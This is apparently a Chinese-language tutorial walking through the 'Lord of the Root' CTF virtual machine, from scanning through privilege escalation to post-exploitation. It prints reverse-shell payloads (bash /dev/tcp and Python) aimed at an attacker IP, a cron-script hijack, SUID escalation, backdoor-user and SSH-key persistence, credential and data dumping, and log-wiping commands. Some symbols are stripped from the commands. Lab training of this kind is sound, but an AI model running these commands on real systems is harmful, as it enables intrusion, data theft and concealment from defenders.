
1. 项目概述从“Lord of the Root”看渗透测试实战入门最近在和一些刚入行的安全爱好者交流时发现很多人对渗透测试的理解还停留在“用工具扫一下”的层面缺乏一个完整的、从信息收集到权限提升的闭环实战体验。这让我想起了几年前一个非常经典的入门级CTFCapture The Flag靶机——“Lord of the Root”。这个名字听起来就很有黑客帝国的味道它本身是一个基于《黑客帝国》电影元素构建的虚拟靶机环境难度被定义为“非常简单到简单”是无数安全新手的“启蒙老师”。这个靶机项目之所以经典是因为它几乎囊括了一个基础渗透测试流程的所有核心环节端口扫描、服务枚举、漏洞利用、Web应用攻击、权限提升。它没有那些花里胡哨的零日漏洞用的都是些“老熟人”比如有问题的服务配置、弱密码、已知漏洞的Web应用。但正是这种“经典”组合能让你像搭积木一样把书本上的知识点串联起来形成一个完整的攻击链。对于想了解渗透测试到底在干什么或者想检验自己基础技能是否扎实的朋友来说手动从头到尾搞定一次“Lord of the Root”比看十篇理论文章都管用。简单来说这个项目就是在一个可控的虚拟机环境里模拟一个存在多处安全缺陷的Linux服务器你的目标就是找到这些缺陷并最终获取系统的最高权限Root权限。整个过程就像一次标准化的“黑客”入侵演练只不过目标是虚拟的行为是合法的收获是实实在在的实战经验。接下来我就结合这个靶机拆解一下一个完整的渗透测试流程究竟该怎么走过程中有哪些必须注意的细节和容易踩的坑。2. 环境搭建与信息收集一切攻击的起点渗透测试的第一步永远不是直接上工具狂轰滥炸而是安静地、细致地收集信息。这就像侦探破案前要勘察现场一样了解得越多后续的路径就越清晰。2.1 靶机环境准备与网络配置“Lord of the Root”通常以OVA或其它虚拟机镜像格式提供。下载后直接导入到VMware Workstation或VirtualBox中即可。这里有个关键点网络模式的选择。为了模拟真实的内网渗透场景我强烈建议将靶机的网络适配器设置为“NAT模式”或“Host-Only模式”而不是桥接模式。注意使用NAT或Host-Only模式可以将靶机隔离在你主机创建的虚拟网络中避免它暴露在你的真实局域网里这是安全实验的基本操作。在VirtualBox中你还需要在“全局工具” - “主机网络管理器”里创建一个虚拟网卡如vboxnet0并确保你的攻击机通常是Kali Linux虚拟机和靶机都连接到同一个虚拟网络或能相互通信。启动靶机后第一件事不是登录而是找出它的IP地址。由于靶机不会主动告诉你我们需要用扫描来发现它。在攻击机Kali上打开终端使用经典的netdiscover工具进行二层发现sudo netdiscover -r 192.168.56.0/24这里的192.168.56.0/24需要替换成你的虚拟网络网段。如果看到一个新的MAC地址和IP出现那很可能就是我们的目标靶机。记下这个IP地址假设它是192.168.56.105。2.2 全面的端口与服务扫描拿到IP后就要进行更细致的探查——端口扫描。我习惯分两步走先用快速扫描抓取大概情况再针对开放端口进行精细探测。首先使用Nmap进行全端口扫描并启用服务版本探测和默认脚本扫描这能给我们一个全面的视图nmap -sV -sC -p- 192.168.56.105参数解释-sV探测服务版本-sC使用默认脚本进行更深入的探测-p-扫描所有65535个端口。这个命令耗时较长但信息最全。在实际操作中为了效率我通常会先跑一个快速扫描针对常用端口nmap -sS -T4 192.168.56.105-sS是SYN半开放扫描速度快且相对隐蔽-T4指定扫描速度。快速扫描结果出来后我们很可能看到几个开放的端口比如22SSH、80HTTP、1337某个自定义服务。这时我们再针对这些已发现的开放端口进行深度扫描nmap -sV -sC -p 22,80,1337 -A 192.168.56.105-A参数启用操作系统检测、版本检测、脚本扫描和跟踪路由是“激进模式”。扫描结果是我们后续所有行动的蓝图。以“Lord of the Root”为例扫描报告可能会显示端口22/tcp: OpenSSH 服务。这是常见的远程管理端口。端口80/tcp: Apache httpd Web服务。这是我们的主要突破口之一。端口1337/tcp: 一个未知服务Nmap可能识别为“waste?”或自定义服务。这种非常规端口往往隐藏着关键入口。实操心得不要完全依赖默认脚本。有时Nmap的默认脚本-sC可能漏掉一些关键信息。对于Web端口80手动使用nikto或gobuster进行目录爆破是必要的补充。例如gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt。3. Web渗透与初始立足点获取在多数渗透测试中Web服务是最常见的攻击面。“Lord of the Root”的80端口很可能就是一个充满故事的入口。3.1 网站枚举与敏感信息发现打开浏览器访问http://192.168.56.105。首先映入眼帘的往往是一个简单的页面可能包含一些提示信息、登录表单或者就是一个静态页面。第一步是查看网页源代码快捷键是CtrlU。开发者有时会把注释、隐藏的路径甚至凭据留在源码里。接着使用工具进行目录和文件枚举。除了上面提到的Gobusterdirb也是一个经典选择dirb http://192.168.56.105这个过程中我们可能会发现一些有趣的目录比如/admin/ 后台管理页面。/robots.txt 查看是否有禁止爬取的敏感路径。/backup/或/old/ 可能存放着旧版本网站源码或配置文件。/phpinfo.php 如果存在会泄露大量服务器配置信息是宝库也是危险信号。在“Lord of the Root”中我们很可能通过枚举发现一个特殊的路径例如一个登录页面或者一个文件上传点。同时检查HTTP响应头也可能有收获使用curl命令curl -I http://192.168.56.105查看Server、X-Powered-By等字段可以确定Web服务器和编程语言版本如Apache/2.4.7, PHP/5.5.9为寻找对应版本的漏洞做准备。3.2 漏洞利用与反向Shell建立假设我们通过枚举发现了一个使用Knoxss这是一个虚构名称用于举例框架的终端模拟器页面或者一个存在漏洞的PHP应用如phpMyAdmin的某个旧版本。这时我们需要寻找对应的利用方式。情况一命令注入漏洞。如果发现一个页面存在参数可以执行系统命令例如一个ping功能参数直接传递给system()函数我们可以尝试命令注入。在Burp Suite中拦截请求修改参数。例如原始请求是cmdping 127.0.0.1我们可以修改为cmdping 127.0.0.1; whoami如果返回结果中包含了当前Web服务的运行用户如www-data则证明注入成功。下一步就是获取一个反向Shell让我们能在攻击机上控制靶机。使用Netcat监听攻击机端口nc -lvnp 4444然后在命令注入点注入一个反向Shell命令。根据靶机环境不同命令也不同。一个常用的bash反向Shell是cmdping 127.0.0.1; bash -c bash -i /dev/tcp/192.168.56.102/4444 01其中192.168.56.102是攻击机的IP4444是监听的端口。如果成功Netcat终端会获得一个Shell。情况二利用已知漏洞的Web应用。如果发现的是phpMyAdmin或WordPress等知名应用并且版本较旧可以搜索公开的漏洞利用代码Exploit。例如在Kali中可以使用searchsploitsearchsploit phpMyAdmin 4.0找到对应的本地文件包含LFI或远程代码执行RCE漏洞后根据说明进行利用最终目的同样是获取一个反向Shell。注意事项获取Shell的过程可能不会一帆风顺。靶机可能没有netcat、bash版本特殊、或者有防火墙限制。因此需要准备多种Payload。例如可以使用Python、Perl、PHP甚至Telnet来建立反向连接。一个常用的Python反向Shell Payload是python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.102,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);多准备几种一种不行就换另一种。4. 权限提升从普通用户到Root拿到一个初始Shell通常是www-data用户权限只是万里长征第一步。在Linux系统中这个权限非常有限无法查看大部分用户文件更无法控制系统核心。下一步的目标就是进行权限提升Privilege Escalation也就是拿到root权限。4.1 系统内部信息收集在获得的低权限Shell中首先要做的就是深入收集靶机内部信息寻找可能提权的线索。这是一项系统性的工作我通常会运行一系列命令并将输出保存下来仔细分析。查看当前用户和权限id whoami sudo -l # 非常重要查看当前用户能以sudo方式运行哪些命令如果sudo -l显示当前用户可以以root身份无需密码运行某个命令如/usr/bin/vim/usr/bin/python等那么提权几乎就成功了。例如如果显示(root) NOPASSWD: /usr/bin/python那么直接运行sudo python -c import os; os.system(/bin/bash)就能获得root shell。查看系统信息uname -a # 内核版本 cat /etc/issue # 系统发行版信息 cat /etc/*-release dpkg -l 或 rpm -qa # 查看安装的软件包寻找有漏洞的版本内核版本和发行版信息用于寻找系统级的本地提权漏洞Kernel Exploit。查看进程和服务ps aux # 查看所有进程 netstat -tulpn # 查看网络连接和监听端口 systemctl list-units --typeservice # 查看系统服务寻找以root身份运行的非系统关键进程或者内部开放的敏感服务如MySQL。查找敏感文件与配置错误find / -perm -4000 -type f 2/dev/null # 查找SUID文件 find / -perm -2000 -type f 2/dev/null # 查找SGID文件 find / -writable 2/dev/null | grep -v /proc/ # 查找全局可写文件/目录 find / -user root -perm -4000 -exec ls -ldb {} \; 2/dev/null # 查找root用户的SUID文件SUID/SGID文件是提权的重点。如果一个属于root且设置了SUID位的文件可以被我们执行并且其行为可控就可能用来提权。经典的例子有nmap旧版本、vim、find、bash特定版本等。查看计划任务Cron Jobscrontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统计划任务目录 cat /etc/crontab如果有一个以root身份定期运行的脚本并且这个脚本我们有权修改或者其引用的文件我们有权修改就可以通过它来提权。查看用户历史与配置文件cat ~/.bash_history cat /home/*/.bash_history # 如果可能的话 cat ~/.ssh/id_rsa # 查看是否有SSH私钥 find / -name *.php -o -name *.conf -o -name *.bak 2/dev/null | head -20 # 查找配置文件或备份文件4.2 利用SUID与计划任务提权实战在“Lord of the Root”靶机中经过信息收集我们可能会发现一个关键的SUID文件。假设我们发现/usr/bin/find这个命令具有SUID位并且属于root。正常的find命令是用来查找文件的但它有一个-exec参数可以执行命令。由于它当前以root权限运行SUID那么通过它执行的命令也将获得root权限。提权步骤如下首先确认find的SUID属性ls -la /usr/bin/find输出中应有-rwsr-xr-x其中的s就是SUID标志。利用find执行命令获取一个root权限的Shell/usr/bin/find . -exec /bin/bash -p \;或者更直接地/usr/bin/find / -name test -exec /bin/bash -p \;执行后输入id命令可以看到uid0(root)提权成功。另一种常见情况利用可写的计划任务脚本。假设我们在/etc/cron.d目录下发现一个自定义的计划任务文件cleanup内容如下* * * * * root /opt/scripts/cleanup.sh这意味着每分钟以root身份执行一次/opt/scripts/cleanup.sh。如果我们检查发现这个cleanup.sh脚本我们www-data用户有写入权限那么提权就非常简单。备份原脚本可选cp /opt/scripts/cleanup.sh /tmp/cleanup.sh.bak编辑脚本加入反向Shell命令echo bash -c \bash -i /dev/tcp/192.168.56.102/5555 01\ /opt/scripts/cleanup.sh或者直接覆盖为一个新的反向Shell脚本。在攻击机上用Netcat监听5555端口nc -lvnp 5555等待最多一分钟计划任务执行后攻击机就会收到一个来自靶机的root权限的Shell。避坑技巧在利用SUID或计划任务时务必先在自己的测试环境验证命令的可行性。有些SUID程序如passwd会有严格的权限检查直接-exec可能失败。另外上传一个静态编译的提权工具如linpeas.sh到靶机并执行是自动化信息收集和寻找提权路径的绝佳方法。可以使用攻击机的Python启动一个临时HTTP服务供靶机下载python3 -m http.server 8080然后在靶机Shell中执行wget http://192.168.56.102:8080/linpeas.sh chmod x linpeas.sh ./linpeas.sh。5. 后渗透与痕迹清理初探在成功获得root权限后渗透测试并未完全结束。在合法的授权测试中我们还需要完成一些后渗透动作并清理痕迹模拟一个高级攻击者的行为同时评估实际影响。5.1 巩固访问与信息收集拿到root shell后第一件事往往是巩固访问权限防止因为会话断开而失去控制。创建后门用户在/etc/passwd文件中添加一个具有root权限的用户。echo \backdoor:$(openssl passwd -1 -salt abc 123456):0:0:root:/root:/bin/bash\ /etc/passwd这行命令创建了一个用户名为backdoor密码为123456UID和GID都为0root的用户。之后就可以通过SSH如果22端口开放用这个账号密码直接登录。安装SSH公钥如果靶机有authorized_keys机制可以将攻击机的SSH公钥添加到root的.ssh/authorized_keys文件中。mkdir -p /root/.ssh echo \ssh-rsa AAAAB3NzaC1yc2E...你的公钥内容\ /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys这样以后就可以无密码SSH登录root。转储敏感信息作为安全评估的一部分需要收集证据并评估数据泄露风险。cat /etc/shadow /tmp/shadow.dump # 密码哈希文件 find /home -name \*.txt\ -o -name \*.pdf\ -o -name \*.doc*\ 2/dev/null | xargs tar -czf /tmp/user_docs.tar.gz # 打包用户文档 mysqldump -u root -p --all-databases /tmp/alldb.sql 2/dev/null # 如果MySQL存在且知道密码转储所有数据库这些操作必须在授权范围内进行并且所有获取的数据必须妥善保管测试结束后立即销毁。5.2 日志清理与操作总结在模拟攻击的最后一个谨慎的攻击者会尝试清理日志掩盖行踪。但这在真实的渗透测试中需要特别谨慎并且必须在授权协议明确允许的范围内进行。定位相关日志# 查看当前登录记录和历史命令 who -a last cat ~/.bash_history # 清理当前用户的历史 history -c # 清除当前会话的历史立即生效 # 查看系统日志通常位于/var/log/ ls -la /var/log/ # 重点关注auth.log, secure (认证日志) syslog, messages (系统日志) apache2/access.log, error.log (Web日志)选择性清理直接删除整个日志文件是可疑的。更隐蔽的做法是使用sed等工具删除包含自己IP地址或用户名的特定行。# 例如从auth.log中删除包含自己IP192.168.56.102的行 sed -i /192.168.56.102/d /var/log/auth.log # 从Apache访问日志中删除 sed -i /192.168.56.102/d /var/log/apache2/access.log需要注意的是现代系统和安全设备往往有日志转发和集中存储单机清理可能无效。总结与报告对于学习者和测试者而言比清理日志更重要的是复盘。记录下完整的攻击路径信息收集阶段发现了哪些开放端口和服务Web渗透的突破口具体是哪个漏洞如命令注入、文件包含提权的具体方法是什么如SUID的find、可写的cron脚本过程中遇到了哪些问题是如何解决的将这个过程整理成一份简单的报告不仅加深自己的理解也是未来应对更复杂环境的宝贵经验。整个“Lord of the Root”的攻防演练实质上就是一个标准渗透测试流程的微缩模型涵盖了从外到内、从低到高的完整技术链条。